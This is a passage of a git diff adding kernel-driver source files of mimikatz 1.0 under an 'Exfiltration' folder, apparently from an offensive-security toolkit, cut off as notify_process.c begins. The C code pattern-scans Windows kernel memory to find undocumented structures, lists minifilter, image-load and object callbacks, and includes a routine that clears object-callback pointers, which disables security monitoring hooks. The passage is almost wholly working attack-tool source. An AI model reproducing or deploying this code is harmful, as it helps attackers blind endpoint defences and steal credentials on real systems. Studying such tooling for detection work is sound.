0x0018, 0x0020, 0x0050} +#endif +}; + +const WCHAR *irpToName[] = { + L"CREATE", + L"CREATE_NAMED_PIPE", + L"CLOSE", + L"READ", + L"WRITE", + L"QUERY_INFORMATION", + L"SET_INFORMATION", + L"QUERY_EA", + L"SET_EA", + L"FLUSH_BUFFERS", + L"QUERY_VOLUME_INFORMATION", + L"SET_VOLUME_INFORMATION", + L"DIRECTORY_CONTROL", + L"FILE_SYSTEM_CONTROL", + L"DEVICE_CONTROL", + L"INTERNAL_DEVICE_CONTROL", + L"SHUTDOWN", + L"LOCK_CONTROL", + L"CLEANUP", + L"CREATE_MAILSLOT", + L"QUERY_SECURITY", + L"SET_SECURITY", + L"POWER", + L"SYSTEM_CONTROL", + L"DEVICE_CHANGE", + L"QUERY_QUOTA", + L"SET_QUOTA", + L"PNP", +}; + +NTSTATUS kMiniFiltersList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status; + + ULONG i, j, k; + + ULONG NumberFiltersReturned = 0; + PFLT_FILTER *FilterList = NULL; + + ULONG BytesReturned = 0; + PFILTER_FULL_INFORMATION myFilterFullInformation = NULL; + + PFLT_INSTANCE *InstanceList = NULL; + ULONG NumberInstancesReturned = 0; + + PFLT_VOLUME RetVolume = NULL; + + PVOID monCallBack, preCallBack, postCallBack; + + *ppszDestEnd = pszDest; + *pcbRemaining= cbDest; + + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kMiniFiltersList\n\n"); + if(NT_SUCCESS(status)) + { + status = FltEnumerateFilters(NULL, 0, &NumberFiltersReturned); + if((status == STATUS_BUFFER_TOO_SMALL) && (NumberFiltersReturned > 0)) + { + FilterList = ExAllocatePoolWithTag(NonPagedPool, sizeof(PFLT_FILTER) * NumberFiltersReturned, POOL_TAG); + if(FilterList != NULL) + { + status = FltEnumerateFilters(FilterList, sizeof(PFLT_FILTER) * NumberFiltersReturned, &NumberFiltersReturned); + for(i = 0; (i < NumberFiltersReturned) && NT_SUCCESS(status); i++) + { + status = FltGetFilterInformation(FilterList[i], FilterFullInformation, NULL, 0, &BytesReturned); + if((status == STATUS_BUFFER_TOO_SMALL) && (BytesReturned > 0)) + { + myFilterFullInformation = ExAllocatePoolWithTag(NonPagedPool, BytesReturned, POOL_TAG); + if(myFilterFullInformation != NULL) + { + status = FltGetFilterInformation(FilterList[i], FilterFullInformation, myFilterFullInformation, BytesReturned, &BytesReturned); + if(NT_SUCCESS(status)) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, + L"%*.*ws\n", + myFilterFullInformation->FilterNameLength/sizeof(WCHAR), myFilterFullInformation->FilterNameLength/sizeof(WCHAR), + myFilterFullInformation->FilterNameBuffer + ); + + if(NT_SUCCESS(status)) + { + status = FltEnumerateInstances(NULL, FilterList[i], NULL, 0, &NumberInstancesReturned); + if((status == STATUS_BUFFER_TOO_SMALL) && (NumberInstancesReturned > 0)) + { + InstanceList = ExAllocatePoolWithTag(NonPagedPool, sizeof(PFLT_INSTANCE) * NumberInstancesReturned, POOL_TAG); + if(InstanceList != NULL) + { + status = FltEnumerateInstances(NULL, FilterList[i], InstanceList, NumberInstancesReturned, &NumberInstancesReturned); + for(j = 0; (j < NumberInstancesReturned) && NT_SUCCESS(status); j++) + { + /* + http://msdn.microsoft.com/en-us/library/windows/hardware/ff541499%28v=VS.85%29.aspx + * InstanceName + * Altitude + * VolumeName + - FilterName + */ + + if(NT_SUCCESS(FltGetVolumeFromInstance(InstanceList[j], &RetVolume))) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, + L" Instance %u @ %wZ\n", + j, + (PUNICODE_STRING) (((ULONG_PTR) RetVolume) + MF_OffSetTable[INDEX_OS][INDEX_MF_VOLUME_NAME_OFF]) + ); + FltObjectDereference (RetVolume); + } + else + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, + L" Instance %u\n", + j + ); + } + + for(k = 0x16; (k < 0x32) && NT_SUCCESS(status); k++) + { + monCallBack = (PVOID) *(PULONG_PTR) (( ((ULONG_PTR) InstanceList[j] )+ MF_OffSetTable[INDEX_OS][INDEX_MF_CALLBACK_OFF]) + sizeof(PVOID)*k); + if(monCallBack != NULL) + { + preCallBack = (PVOID) *(PULONG_PTR) (((ULONG_PTR) monCallBack) + MF_OffSetTable[INDEX_OS][INDEX_MF_CALLBACK_PRE_OFF]); + postCallBack = (PVOID) *(PULONG_PTR) (((ULONG_PTR) monCallBack) + MF_OffSetTable[INDEX_OS][INDEX_MF_CALLBACK_POST_OFF]); + + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, + L" [0x%2x %-24ws] ", + k, + irpToName[k - 0x16] + ); + + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) preCallBack, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" / "); + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) postCallBack, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); + } + } + } + + } + } + } + FltObjectDereference (InstanceList[j]); + } + ExFreePoolWithTag(InstanceList, POOL_TAG); + } + } + } + } + ExFreePoolWithTag(myFilterFullInformation, POOL_TAG); + } + } + FltObjectDereference (FilterList[i]); + } + ExFreePoolWithTag(FilterList, POOL_TAG); + } + } + } + return status; +} diff --git a/Exfiltration/mimikatz-1.0/driver/minifilters.h b/Exfiltration/mimikatz-1.0/driver/minifilters.h new file mode 100644 index 0000000..647031a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/minifilters.h @@ -0,0 +1,12 @@ +#pragma once +#include <fltkernel.h> +#include "k_types.h" +#include "modules.h" + +#define INDEX_MF_CALLBACK_OFF 0 +#define INDEX_MF_CALLBACK_PRE_OFF 1 +#define INDEX_MF_CALLBACK_POST_OFF 2 +#define INDEX_MF_VOLUME_NAME_OFF 3 +#define MAX_MF_LEN 4 + +NTSTATUS kMiniFiltersList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/mod_memory.c b/Exfiltration/mimikatz-1.0/driver/mod_memory.c new file mode 100644 index 0000000..d5a05b3 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/mod_memory.c @@ -0,0 +1,32 @@ +#include "mod_memory.h" + +NTSTATUS searchMemory(const PUCHAR adresseBase, const PUCHAR adresseMaxMin, const PUCHAR pattern, PUCHAR *addressePattern, SIZE_T longueur) +{ + for(*addressePattern = adresseBase; (adresseMaxMin > adresseBase) ? (*addressePattern <= adresseMaxMin) : (*addressePattern >= adresseMaxMin); *addressePattern += (adresseMaxMin > adresseBase) ? 1 : -1) + { + if(RtlCompareMemory(pattern, *addressePattern, longueur) == longueur) + { + return STATUS_SUCCESS; + } + } + *addressePattern = NULL; + return STATUS_NOT_FOUND; +} + +NTSTATUS genericPointerSearch(PUCHAR *addressePointeur, const PUCHAR adresseBase, const PUCHAR adresseMaxMin, const PUCHAR pattern, SIZE_T longueur, LONG offsetTo) +{ + NTSTATUS status = searchMemory(adresseBase, adresseMaxMin, pattern, addressePointeur, longueur); + if(NT_SUCCESS(status)) + { + *addressePointeur += offsetTo; + #ifdef _M_X64 + *addressePointeur += sizeof(LONG) + *(PLONG)(*addressePointeur); + #elif defined _M_IX86 + *addressePointeur = *(PUCHAR *)(*addressePointeur); + #endif + + if(!*addressePointeur) + status = STATUS_INVALID_HANDLE; + } + return status; +} diff --git a/Exfiltration/mimikatz-1.0/driver/mod_memory.h b/Exfiltration/mimikatz-1.0/driver/mod_memory.h new file mode 100644 index 0000000..0c10fb9 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/mod_memory.h @@ -0,0 +1,5 @@ +#pragma once +#include "k_types.h" + +NTSTATUS searchMemory(const PUCHAR adresseBase, const PUCHAR adresseMaxMin, const PUCHAR pattern, PUCHAR *addressePattern, SIZE_T longueur); +NTSTATUS genericPointerSearch(PUCHAR *addressePointeur, const PUCHAR adresseBase, const PUCHAR adresseMaxMin, const PUCHAR pattern, SIZE_T longueur, LONG offsetTo); diff --git a/Exfiltration/mimikatz-1.0/driver/modules.c b/Exfiltration/mimikatz-1.0/driver/modules.c new file mode 100644 index 0000000..7ca3551 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/modules.c @@ -0,0 +1,110 @@ +#include "modules.h" + +NTSTATUS kModulesList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status = STATUS_SUCCESS; + ULONG i; + ULONG modulesSize; + AUX_MODULE_EXTENDED_INFO* modules; + ULONG numberOfModules; + + *ppszDestEnd = pszDest; + *pcbRemaining= cbDest; + + status = AuxKlibInitialize(); + if(NT_SUCCESS(status)) + { + status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), NULL); + if (NT_SUCCESS(status)) + { + if(modulesSize > 0) + { + numberOfModules = modulesSize / sizeof(AUX_MODULE_EXTENDED_INFO); + modules = (AUX_MODULE_EXTENDED_INFO*) ExAllocatePoolWithTag(PagedPool, modulesSize, POOL_TAG); + + if(modules != NULL) + { + status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), modules); + if (NT_SUCCESS(status)) + { + for(i = 0; i < numberOfModules; i++) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, + L"%p - %.8u [%S] %S\n", + modules[i].BasicInfo.ImageBase, + modules[i].ImageSize, + modules[i].FullPathName + modules[i].FileNameOffset, + modules[i].FullPathName + ); + } + } + ExFreePoolWithTag(modules, POOL_TAG); + } + } + } + } + + return status; +} + +NTSTATUS getModuleFromAddr(ULONG_PTR theAddr, LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status = STATUS_SUCCESS; + ULONG i; + ULONG modulesSize; + AUX_MODULE_EXTENDED_INFO* modules; + ULONG numberOfModules; + + *ppszDestEnd = pszDest; + *pcbRemaining= cbDest; + + status = AuxKlibInitialize(); + if(NT_SUCCESS(status)) + { + status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), NULL); + if (NT_SUCCESS(status)) + { + if(modulesSize > 0) + { + numberOfModules = modulesSize / sizeof(AUX_MODULE_EXTENDED_INFO); + modules = (AUX_MODULE_EXTENDED_INFO*) ExAllocatePoolWithTag(PagedPool, modulesSize, POOL_TAG); + + if(modules != NULL) + { + status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), modules); + if (NT_SUCCESS(status)) + { + for(i = 0; i < numberOfModules; i++) + { + status = STATUS_NOT_FOUND; + if(theAddr >= (ULONG_PTR) modules[i].BasicInfo.ImageBase && theAddr < ((ULONG_PTR) modules[i].BasicInfo.ImageBase + modules[i].ImageSize)) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, + L"%p [%S+%u]", + theAddr, + modules[i].FullPathName + modules[i].FileNameOffset, + theAddr - (ULONG_PTR) modules[i].BasicInfo.ImageBase + ); + break; + } + + + } + + if(status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"%p [?]", theAddr); + if (NT_SUCCESS(status)) status = STATUS_NOT_FOUND; + } + } + ExFreePoolWithTag(modules, POOL_TAG); + } + } + } + } + + return status; +} + + + diff --git a/Exfiltration/mimikatz-1.0/driver/modules.h b/Exfiltration/mimikatz-1.0/driver/modules.h new file mode 100644 index 0000000..86fe625 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/modules.h @@ -0,0 +1,7 @@ +#pragma once +#include <ntddk.h> +#include <aux_klib.h> +#include "k_types.h" + +NTSTATUS kModulesList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); +NTSTATUS getModuleFromAddr(ULONG_PTR theAddr, LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/notify.h b/Exfiltration/mimikatz-1.0/driver/notify.h new file mode 100644 index 0000000..8ee225a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify.h @@ -0,0 +1,19 @@ +#pragma once +#include <ntifs.h> +#include "k_types.h" +#include "modules.h" +#include "mod_memory.h" +#include "notify_process.h" +#include "notify_thread.h" +#include "notify_image.h" +#include "notify_reg.h" +#include "notify_object.h" + +typedef struct _KIWI_CALLBACK +{ + #ifdef _M_IX86 + PVOID unk0; + #endif + PVOID * callback; + LARGE_INTEGER * opt_cookie; // structure de feignant pour les process;threads;images aussi +} KIWI_CALLBACK, *PKIWI_CALLBACK; diff --git a/Exfiltration/mimikatz-1.0/driver/notify_image.c b/Exfiltration/mimikatz-1.0/driver/notify_image.c new file mode 100644 index 0000000..6f03fd4 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_image.c @@ -0,0 +1,117 @@ +#include "notify_image.h" + +ULONG * PspLoadImageNotifyRoutineCount = NULL; +PVOID * PspLoadImageNotifyRoutine = NULL; + +NTSTATUS kListNotifyImages(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status; + ULONG i; + PKIWI_CALLBACK monCallBack; + + *ppszDestEnd = pszDest; *pcbRemaining= cbDest; + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyImages\n\n"); + if(NT_SUCCESS(status)) + { + status = getPspLoadImageNotifyRoutine(); + if(NT_SUCCESS(status)) + { + for(i = 0; (i < *PspLoadImageNotifyRoutineCount) && NT_SUCCESS(status); i++) + { + monCallBack = (PKIWI_CALLBACK) KIWI_mask3bits(PspLoadImageNotifyRoutine[i]); + if(monCallBack != NULL) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i); + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) monCallBack->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); + } + } + } + } + } + } + return status; +} + +NTSTATUS getPspLoadImageNotifyRoutine() +{ + NTSTATUS retour = STATUS_NOT_FOUND; + #ifdef _M_X64 + UCHAR PTRN_WNT5_Image[] = {0x48, 0x8d, 0x35}; + LONG OFFS_WNT5_Image = sizeof(PTRN_WNT5_Image); + UCHAR PTRN_WNT6_Image[] = {0x48, 0x8d, 0x0d}; + LONG OFFS_WNT6_Image = sizeof(PTRN_WNT6_Image); + + LONG OFFS_WNT5_Count = - 0x0c; + LONG OFFS_WNT6_Count = sizeof(PVOID) * MAX_NT_PspLoadImageNotifyRoutine; + #elif defined _M_IX86 + UCHAR PTRN_WNT5_Image[] = {0x6a, 0x00, 0x53, 0x56}; + UCHAR PTRN_WNO8_Image[] = {0x6a, 0x00, 0x8b, 0xcb, 0x8b, 0xc6}; + UCHAR PTRN_WIN8_Image[] = {0x33, 0xff, 0x6a, 0x00, 0x53, 0x8b, 0xc6}; + LONG OFFS_WALL_Image = -(LONG) sizeof(PVOID); + + LONG OFFS_WNT5_Count = - 0x18; + LONG OFFS_WNO8_Count = sizeof(PVOID) * MAX_NT_PspLoadImageNotifyRoutine; + LONG OFFS_WIN8_Count = - 0x20; + #endif + + PUCHAR pointeur = NULL, pattern = NULL, refDebut = (PUCHAR) PsSetLoadImageNotifyRoutine, refFin = refDebut + PAGE_SIZE; SIZE_T taille = 0; LONG offsetTo = 0; + LONG offsetToCountEx = 0, offsetToCount = 0; + + if(PspLoadImageNotifyRoutine && PspLoadImageNotifyRoutineCount) + { + retour = STATUS_SUCCESS; + } + else + { + if(INDEX_OS < INDEX_VISTA) + { + pattern = PTRN_WNT5_Image; + taille = sizeof(PTRN_WNT5_Image); + #ifdef _M_X64 + offsetTo = OFFS_WNT5_Image; + #endif + offsetToCount = OFFS_WNT5_Count; + } + else + { + #ifdef _M_X64 + pattern = PTRN_WNT6_Image; + taille = sizeof(PTRN_WNT6_Image); + offsetTo = OFFS_WNT6_Image; + offsetToCount = OFFS_WNT6_Count; + #elif defined _M_IX86 + if(INDEX_OS < INDEX_8) + { + pattern = PTRN_WNO8_Image; + taille = sizeof(PTRN_WNO8_Image); + offsetToCount = OFFS_WNO8_Count; + } + else + { + pattern = PTRN_WIN8_Image; + taille = sizeof(PTRN_WIN8_Image); + offsetToCount = OFFS_WIN8_Count; + } + #endif + } + #ifdef _M_IX86 + offsetTo = OFFS_WALL_Image; + #endif + + retour = genericPointerSearch(&pointeur, refDebut, refFin, pattern, taille, offsetTo); + if(NT_SUCCESS(retour)) + { + PspLoadImageNotifyRoutine = (PVOID) (pointeur); + PspLoadImageNotifyRoutineCount = (PULONG) (pointeur + offsetToCount); + + if(PspLoadImageNotifyRoutine && PspLoadImageNotifyRoutineCount) + retour = STATUS_SUCCESS; + } + } + return retour; +} diff --git a/Exfiltration/mimikatz-1.0/driver/notify_image.h b/Exfiltration/mimikatz-1.0/driver/notify_image.h new file mode 100644 index 0000000..f6e0711 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_image.h @@ -0,0 +1,10 @@ +#pragma once +#include "notify.h" + +#define MAX_NT_PspLoadImageNotifyRoutine 8 + +ULONG * PspLoadImageNotifyRoutineCount; +PVOID * PspLoadImageNotifyRoutine; + +NTSTATUS getPspLoadImageNotifyRoutine(); +NTSTATUS kListNotifyImages(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); diff --git a/Exfiltration/mimikatz-1.0/driver/notify_object.c b/Exfiltration/mimikatz-1.0/driver/notify_object.c new file mode 100644 index 0000000..9eac3bb --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_object.c @@ -0,0 +1,173 @@ +#include "notify_object.h" + +POBJECT_DIRECTORY * ObpTypeDirectoryObject = NULL; + +const WCHAR *procCallToName[] = { + L"Dump ", + L"Open ", + L"Close ", + L"Delete ", + L"Parse ", + L"Security ", + L"QueryName ", + L"OkayToClose", +}; + +NTSTATUS kListNotifyObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + return listNotifyOrClearObjects(pszDest, cbDest, ppszDestEnd, pcbRemaining, ListNotif); +} + +NTSTATUS kClearNotifyObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + return listNotifyOrClearObjects(pszDest, cbDest, ppszDestEnd, pcbRemaining, ClearNotif); +} + +NTSTATUS listNotifyOrClearObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining, KIWI_NOTIF_OBJECT_ACTION action) +{ + NTSTATUS status; + ULONG i, j; + POBJECT_DIRECTORY_ENTRY monEntree; + POBJECT_TYPE monType, monTypeDecal; + PVOID * miniProc; + POBJECT_CALLBACK_ENTRY pStruct; + + *ppszDestEnd = pszDest; *pcbRemaining= cbDest; + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyObjects\n\n"); + + if(NT_SUCCESS(status)) + { + status = getObpTypeDirectoryObject(); + if(NT_SUCCESS(status)) + { + for(i = 0; (i < OBJECT_HASH_TABLE_SIZE) && NT_SUCCESS(status); i++) + { + if((*ObpTypeDirectoryObject)->HashBuckets[i]) + { + for(monEntree = (*ObpTypeDirectoryObject)->HashBuckets[i]; monEntree && NT_SUCCESS(status); monEntree = monEntree->NextEntry) + { + if(monType = monEntree->Object) + { + if(INDEX_OS < INDEX_VISTA) + monType = (POBJECT_TYPE) ((ULONG_PTR) (monType) + sizeof(ERESOURCE)); + + if(action == ListNotif) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n%wZ\n", &(monType->Name)); + for(j = 0; (j < 8) && NT_SUCCESS(status); j++) + { + miniProc = (PVOID *) (((ULONG_PTR) &(monType->TypeInfo)) + FIELD_OFFSET(OBJECT_TYPE_INITIALIZER, DumpProcedure) + sizeof(PVOID)*j + #ifdef _M_IX86 + - ((INDEX_OS < INDEX_VISTA) ? sizeof(ULONG) : 0) + #endif + ); + if(*miniProc) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" - %ws : ", procCallToName[j]); + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) *miniProc, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); + } + } + } + } + } + if(INDEX_OS >= INDEX_VISTA) + { + if(INDEX_OS < INDEX_7) + monType = (POBJECT_TYPE) ((ULONG_PTR) (monType) + sizeof(ERESOURCE) + 32*sizeof(EX_PUSH_LOCK)); + else if (INDEX_OS > INDEX_7) + monType = (POBJECT_TYPE) ((ULONG_PTR) (monType) + sizeof(ULONG) + 2*sizeof(USHORT)); // W8 : nouveaux champs avant les callbacks + + for(pStruct = (POBJECT_CALLBACK_ENTRY) (monType->CallbackList.Flink) ; (pStruct != (POBJECT_CALLBACK_ENTRY) &(monType->CallbackList)) && NT_SUCCESS(status) ; pStruct = (POBJECT_CALLBACK_ENTRY) pStruct->CallbackList.Flink) + { + if(pStruct->PreOperation || pStruct->PostOperation) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" * Callback %u : ", pStruct->Operations, pStruct->PreOperation);; + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) pStruct->PreOperation, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" / "); + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) pStruct->PostOperation, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); + } + } + } + } + + if(action == ClearNotif) + { + pStruct->PreOperation = NULL; + pStruct->PostOperation = NULL; + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" -> NULL !\n"); + } + } + } + } + } + } + } + } + } + } + return status; +} + +NTSTATUS getObpTypeDirectoryObject() +{ + NTSTATUS retour = STATUS_NOT_FOUND; + #ifdef _M_X64 + UCHAR PTRN_WALL_Object[] = {0x66, 0x83, 0xf8, 0x5c, 0x0f, 0x84}; + LONG OFFS_WNT5_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 8 + 8 + 8 + 3; + LONG OFFS_WNO8_Object = sizeof(PTRN_WALL_Object) + 4 + 3 + 2 + 3; + LONG OFFS_WIN8_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 3; + #elif defined _M_IX86 + UCHAR PTRN_WALL_Object[] = {0x5c, 0x0f, 0x84}; + LONG OFFS_WNT5_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 2; + LONG OFFS_WNO8_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 1; + LONG OFFS_WIN8_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 2; + #endif + + PUCHAR refDebut = NULL, refFin = NULL; LONG offsetTo = 0; + UNICODE_STRING maRoutine; + + if(ObpTypeDirectoryObject) + { + retour = STATUS_SUCCESS; + } + else + { + RtlInitUnicodeString(&maRoutine, L"ObCreateObjectType"); + if(refDebut = (PUCHAR) MmGetSystemRoutineAddress(&maRoutine)) + { + refFin = refDebut + PAGE_SIZE; + + if(INDEX_OS < INDEX_8) + { + if(INDEX_OS < INDEX_VISTA) + offsetTo = OFFS_WNT5_Object; + else + { + offsetTo = OFFS_WNO8_Object; + #ifdef _M_X64 + refFin = refDebut - PAGE_SIZE; + #endif + } + } + else + offsetTo = OFFS_WIN8_Object; + + retour = genericPointerSearch((PUCHAR *) &ObpTypeDirectoryObject, refDebut, refFin, PTRN_WALL_Object, sizeof(PTRN_WALL_Object), offsetTo); + } + } + return retour; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/notify_object.h b/Exfiltration/mimikatz-1.0/driver/notify_object.h new file mode 100644 index 0000000..96d5517 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_object.h @@ -0,0 +1,79 @@ +#pragma once +#include "notify.h" + +#define OBJECT_HASH_TABLE_SIZE 37 + +typedef struct _OBJECT_DIRECTORY_ENTRY { + struct _OBJECT_DIRECTORY_ENTRY *NextEntry; + PVOID Object; + ULONG HashValue; // pas en NT5 +} OBJECT_DIRECTORY_ENTRY, *POBJECT_DIRECTORY_ENTRY; + +typedef struct _OBJECT_DIRECTORY { + POBJECT_DIRECTORY_ENTRY HashBuckets[OBJECT_HASH_TABLE_SIZE]; + EX_PUSH_LOCK Lock; + PVOID DeviceMap; + ULONG SessionId; + PVOID NamespaceEntry; // a partir de l, diffrent en NT5, mais pas utilis... + ULONG Flags; +} OBJECT_DIRECTORY, *POBJECT_DIRECTORY; + +typedef struct _OBJECT_TYPE_INITIALIZER // NT6, dcaler ULONG en NT5x86 (compens par l'alignement en x64) +{ + SHORT Length; + UCHAR ObjectTypeFlags; + ULONG ObjectTypeCode; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ACCESS_MASK ValidAccessMask; + ULONG RetainAccess; + POOL_TYPE PoolType; + ULONG DefaultPagedPoolCharge; + ULONG DefaultNonPagedPoolCharge; + PVOID DumpProcedure; + PVOID OpenProcedure; + PVOID CloseProcedure; + PVOID DeleteProcedure; + PVOID ParseProcedure; + PVOID SecurityProcedure; + PVOID QueryNameProcedure; + PVOID OkayToCloseProcedure; +} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER; + +typedef struct _OBJECT_TYPE { + LIST_ENTRY TypeList; + UNICODE_STRING Name; + PVOID DefaultObject; + UCHAR Index; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + OBJECT_TYPE_INITIALIZER TypeInfo; + EX_PUSH_LOCK TypeLock; + ULONG Key; + LIST_ENTRY CallbackList; +} OBJECT_TYPE, *POBJECT_TYPE; + +typedef struct _OBJECT_CALLBACK_ENTRY { + LIST_ENTRY CallbackList; + OB_OPERATION Operations; + ULONG Active; + /*OB_HANDLE*/ PVOID Handle; + POBJECT_TYPE ObjectType; + POB_PRE_OPERATION_CALLBACK PreOperation; + POB_POST_OPERATION_CALLBACK PostOperation; +} OBJECT_CALLBACK_ENTRY, *POBJECT_CALLBACK_ENTRY; + +typedef enum _KIWI_NOTIF_OBJECT_ACTION +{ + ListNotif, + ClearNotif +} KIWI_NOTIF_OBJECT_ACTION; + +POBJECT_DIRECTORY * ObpTypeDirectoryObject; + +NTSTATUS getObpTypeDirectoryObject(); +NTSTATUS kListNotifyObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); +NTSTATUS kClearNotifyObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); +NTSTATUS listNotifyOrClearObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining, KIWI_NOTIF_OBJECT_ACTION action); diff --git a/Exfiltration/mimikatz-1.0/driver/notify_process.c b/Exfiltration/mimikatz-1.0/driver/notify_process.c new file mode 100644 index 0000000..87cc3ed --- /dev/null +++ 